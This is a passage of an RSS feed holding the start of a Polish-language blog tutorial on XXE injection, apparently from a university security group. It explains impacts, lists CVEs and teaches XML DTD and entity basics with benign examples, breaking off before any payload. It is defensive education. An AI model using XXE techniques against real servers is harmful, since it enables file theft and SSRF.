&lt;li>&lt;a href="https://avinetworks.com/glossary/buffer-overflow/"target="_blank" rel="noopener">https://avinetworks.com/glossary/buffer-overflow/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.geeksforgeeks.org/stack-vs-heap-memory-allocation/"target="_blank" rel="noopener">https://www.geeksforgeeks.org/stack-vs-heap-memory-allocation/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>XXE injection</title><link>https://whitehats.pwr.edu.pl/blog/2024-12-02-xxe-injection/</link><pubDate>Mon, 02 Dec 2024 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2024-12-02-xxe-injection/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2024-12-02-xxe-injection/background_hu_68bf674e4b957b68.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Najpewniej wielu z Was raz na jakiś czas odwiedza stronę &lt;a href="https://owasp.org/"target="_blank" rel="noopener">OWASP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
celem zaspokojenia ciekawości lub wykorzystania wiedzy z niej zaczerpniętej w praktyce.
Na przestrzeni czasu lista &lt;a href="https://owasp.org/www-project-top-ten/"target="_blank" rel="noopener">top 10 vulnerabilities&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
zmieniała się, by umożliwić nam zapoznanie się z najczęstszymi zagrożeniami, z jakimi
zmagają się aplikacje webowe. W trakcie ciągłej przebudowy kategoria, która w 2017
roku zajmowała zaszczytne 4 miejsce, stała się częścią
&lt;a href="https://owasp.org/Top10/A05_2021-Security_Misconfiguration/"target="_blank" rel="noopener">A05:2021-Security Misconfiguration&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
Miejsce 5 to nadal relatywnie wysoko, a temat jest dość ciekawy z punktu widzenia
pentestera, czy chociażby niedzielnego bug bounty huntera. Ponadto, zaawanstowane
opcje filtrowania emerytowanych maszyn
&lt;a href="https://app.hackthebox.com/machines/list/retired?sort_type=desc&amp;amp;tag=934"target="_blank" rel="noopener">HTB&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
podatność XXE Injection pod różnymi postaciami występuje w 14 dostępnych na platformie
maszynach. Mam więc nadzieję, że następne kilka minut lektury zaspokoi ciekawość
i zaoszczędzi komuś trochę czasu w przyszłości.&lt;/p>
&lt;h2>Definicja XXE Injection&lt;span class="hx:absolute hx:-mt-20" id="definicja-xxe-injection">&lt;/span>
&lt;a href="#definicja-xxe-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>XXE Injection (XML eXternal Entity Injeciton) jest jedną z wielu podatności związanych
ze źle skonfigurowanymi rozwiązaniami opartymi na XML-u, lecz prawdopodobnie najprostszą
i najczęściej wśród nich spotykaną. Jak sama nazwa wskazuje, jej działanie oparte
jest na wykorzystaniu rozwiązań zewnętrznych encji, w danych formatu XML, przesyłanych
lub przechowywanych na serwerze. Skutkami ataków tego typu są między innymi: kradzieże
poufnych danych, &lt;a href="https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/"target="_blank" rel="noopener">SSRF&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
odnajdywanie innych celów ataku w sieci lokalnej serwera,
&lt;a href="https://owasp.org/www-community/attacks/Denial_of_Service"target="_blank" rel="noopener">DoS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
z atakami typu Billion Laughts Attack czy w skrajnych przypadkach nawet
&lt;a href="https://www.techtarget.com/searchwindowsserver/definition/remote-code-execution-RCE"target="_blank" rel="noopener">RCE&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Najstarszą podatnością typu XXE zgłoszoną do rejestru &lt;a href="https://www.cve.org/"target="_blank" rel="noopener">CVE&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
jest &lt;a href="https://www.cve.org/CVERecord?id=CVE-2002-1252"target="_blank" rel="noopener">CVE-2002-1252&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Wykryta została
ona w oprogramowaniu PeopleTools i dotyczyła wersji 8.1X przed 8.19. To oprogramowanie
było wykorzystywane w wielu produktach przejętej w roku 2005 firmy PeopleSoft. Podatność
umożliwiała czytanie dowolnych plików z serwera za pośrednictwem zapytania typu
POST. Podobnie najnowsza z perspektywy czasu tworzenia artykułu -
&lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-20174"target="_blank" rel="noopener">CVE-2023-20174&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>- wskazuje podatność
zarówno SSRF jak i
&lt;a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion"target="_blank" rel="noopener">LFI&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
dla sieciowego interfejsu zarządzania Cisco Identity Services Engine (ISE). Ta CVE
jest niestety jedynie bugiem, gdyż w celu jej wykorzystania niezbędne są poświadczenia
administratora, nie zmienia to jednak faktu jego wystąpienia, które teoretycznie
nie powinno mieć miejsca.&lt;/p>
&lt;p>&lt;a href="https://www.cvedetails.com/cve/CVE-2021-40722/"title="CVE-2021-40722
security vulnerability details"target="_blank" rel="noopener">CVE-2021-40722&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> ukazuje nam natomiast, że pomimo swojej rzadkości
RCE za pomocą XXE wciąż jest realnym zagrożeniem dla wielu firm. Warto więc mieć
chociaż świadomość, jak taki atak wygląda, i jak można się przed nim obronić.&lt;/p>
&lt;p>Mogłoby się wydawać, że podatność ta jest bardzo łatwa do przewidzenia, zarówno
przez twórców aplikacji, jak i osoby je testujące, lecz nie każdy programista w
trakcie pisania kodu zdaje sobie sprawę z przykrych konsekwencji nieodpowiedniego
wykorzystania niektórych funkcjonalności. Mam tutaj na myśli oczywiście parsery
kodu XML, służące do zamiany danych w obiekt umożliwiający aplikacji i jej twórcy
łatwiejsze operowanie na zbiorze informacji. Sama funkcjonalność encji zewnętrznych
(external entities) w wielu kontrolowanych przypadkach jest bardzo pomocna, umożliwiając
dla przykładu wczytanie stopki dokumentu z innego pliku na dysku. Niestety nieprawidłowe
jej zabezpieczenie umożliwia atakującemu, jak w przypadku pierwszej CVE tego typu,
zdobyć dowolny odpowiednio sformatowany plik wysyłany wraz z odpowiedzią serwera.&lt;/p>
&lt;h2>Szybki kurs XML-a&lt;span class="hx:absolute hx:-mt-20" id="szybki-kurs-xml-a">&lt;/span>
&lt;a href="#szybki-kurs-xml-a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>No dobrze. Wiemy już mniej więcej, czym jest XXE Injection, pora więc na niewielką
garść teorii z dziedziny XML-a, która umożliwi nam zrozumienie prostej, lecz skutecznej
zasady działania naszej podatności.&lt;/p>
&lt;p>Zacznijmy więc od przykładowego pliku:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE inventory [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ELEMENT inv (product, footer)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT product (name, amount, price, id, manufacturer)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT id (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT amount (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT price (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT manufacturer (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT footer (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ATTLIST porduct discontinued CDATA &amp;#34;no&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY name &amp;#34;The Great Emperor of All Blue&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY footer SYSTEM &amp;#34;footer.xml&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;inv&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;product&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>DDoS&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;amount&amp;gt;&lt;/span>1h&lt;span class="nt">&amp;lt;/amount&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;price&amp;gt;&lt;/span>450&lt;span class="ni">&amp;amp;#36;&lt;/span>&lt;span class="nt">&amp;lt;/price&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;manufacturer&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;name;&lt;/span>&lt;span class="nt">&amp;lt;/manufacturer&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/product&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;product&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>2&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>XXE Injection&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;amount&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/amount&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;price&amp;gt;&lt;/span>200&lt;span class="ni">&amp;amp;#36;&lt;/span>&lt;span class="nt">&amp;lt;/price&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;manufacturer&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;name;&lt;/span>&lt;span class="nt">&amp;lt;/manufacturer&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/product&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;product&lt;/span> &lt;span class="na">discontinued=&lt;/span>&lt;span class="s">&amp;#34;yes&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;id&amp;gt;&lt;/span>3&lt;span class="nt">&amp;lt;/id&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;name&amp;gt;&lt;/span>MITM&lt;span class="nt">&amp;lt;/name&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;amount&amp;gt;&lt;/span>24h&lt;span class="nt">&amp;lt;/amount&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;price&amp;gt;&lt;/span>1100&lt;span class="ni">&amp;amp;#36;&lt;/span>&lt;span class="nt">&amp;lt;/price&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;manufacturer&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;name;&lt;/span>&lt;span class="nt">&amp;lt;/manufacturer&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/product&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;footer&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;footer;&lt;/span>&lt;span class="nt">&amp;lt;/footer&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/inv&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Pierwszą linijką pliku nie musimy się przejmować, gdyż określamy w niej jedynie
wersję XML-a, którego zamierzamy użyć oraz kodowanie znaków. Następna część wymaga
od nas nieco więcej uwagi.&lt;/p>
&lt;p>DTD (Document Type Declaration) jest headerem naszego dokumentu, lecz zamiast
zawierać metadane dokumentu w postaci autora, opisu czy słów kluczowych, umożliwia
nam zadeklarowanie struktury dokumentu. Znajdziemy w niej wszystko - od własnych
tagów wraz z atrybutami, aż po trzy typy encji: wewnętrzną, zewnętrzną oraz
parametryczną. DTD może być przechowywane zarówno w samym dokumencie, jak i poza
nim, np. na serwerze lub nawet rozproszone na wiele plików, które później mogą
być połączone encjami parametrycznymi.&lt;/p>
&lt;p>DTD:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE nazwa [ ... ]&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Przykładowe definicje tagów:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ELEMENT nazwa typ_danych&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ELEMENT product (name, amount, price, id)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ELEMENT id (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ELEMENT nazwa ANY&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Słowo kluczowe &amp;ldquo;ELEMENT&amp;rdquo; wskazuje, że definiujemy tag. Następnie podajemy jego nazwę,
a na samym końcu typ akceptowanych danych. W powyższym przykładzie pole &lt;em>product&lt;/em>
może przyjmować tylko zawarte w klamrach tagi: &lt;em>name, amount, price&lt;/em> oraz &lt;em>id&lt;/em>.
Element &lt;em>id&lt;/em> natomiast, zamiast znaczników będzie przechowywał w sobie dane znakowe
(CDATA), które dodatkwo przejdą przez nasz XML-owy parser po stronie serwera -
(#PCDATA). To właśnie takich znaczników będziemy szukać najczęściej metodą
eksperymentalną w celu osadzenia naszych gotowych do sparsowania encji. Ostatni
przykład ukazuje znacznik, którego wartość może być dowolna.&lt;/p>
&lt;p>Przejdźmy więc do kluczowych zagadnień - &lt;strong>encji&lt;/strong>. Encje możemy przyrównać do zmiennych,
które przechowują w sobie dane zdefiniowane w samym pliku lub na zewnątrz niego,
w zależności od swojego typu i zamysłu autora. Nazwy tych zmiennych są rozwiązywane
przez parsery, które podmieniają je na zadeklarowane wartości. Brzmi prosto i w
zasadzie takie jest.&lt;/p>
&lt;p>W standardzie XML-a istnieje 5 odgórnie zdefiniowanych encji wewnętrznych, które
umożliwiają wykorzystanie znaków charakterystycznych dla składni technologii
w dowolnym kontekście:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Znak reprezentowany        &lt;/th>
&lt;th>Nazwa encji            &lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&amp;amp;&lt;/td>
&lt;td>&lt;code>&amp;amp;amp;&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;lt;&lt;/td>
&lt;td>&lt;code>&amp;amp;lt;&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;gt;&lt;/td>
&lt;td>&lt;code>&amp;amp;gt;&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;quot;&lt;/td>
&lt;td>&lt;code>&amp;amp;quot;&lt;/code>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>'&lt;/td>
&lt;td>&lt;code>&amp;amp;apos;&lt;/code>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Podobnie sprawa wygląda dla HTML-a, co oznacza, że pewnie wielu z Was miało już
z tym zagadnieniem do czynienia. Oczywiście różnica polega na tym, że HTML-owych
encji jest zdecydowanie &lt;a href="https://www.freeformatter.com/html-entities.html"target="_blank" rel="noopener">więcej&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="c">&amp;lt;!-- internal entity --&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY name &amp;#34;The Great Emperor of All Blue&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&amp;lt;!-- external entity --&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY footer SYSTEM &amp;#34;footer.xml&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&amp;lt;!-- parametric entity --&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % more_dtd SYSTEM &amp;#34;more_dtd.dtd&amp;#34;&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Co do różnic między trzema typami encji, to wyróżniamy dwie zasadnicze:&lt;/p>
&lt;ul>
&lt;li>po pierwsze wewnętrzne i zewnętrzne encje umieszczamy w strukturze dokumentu,
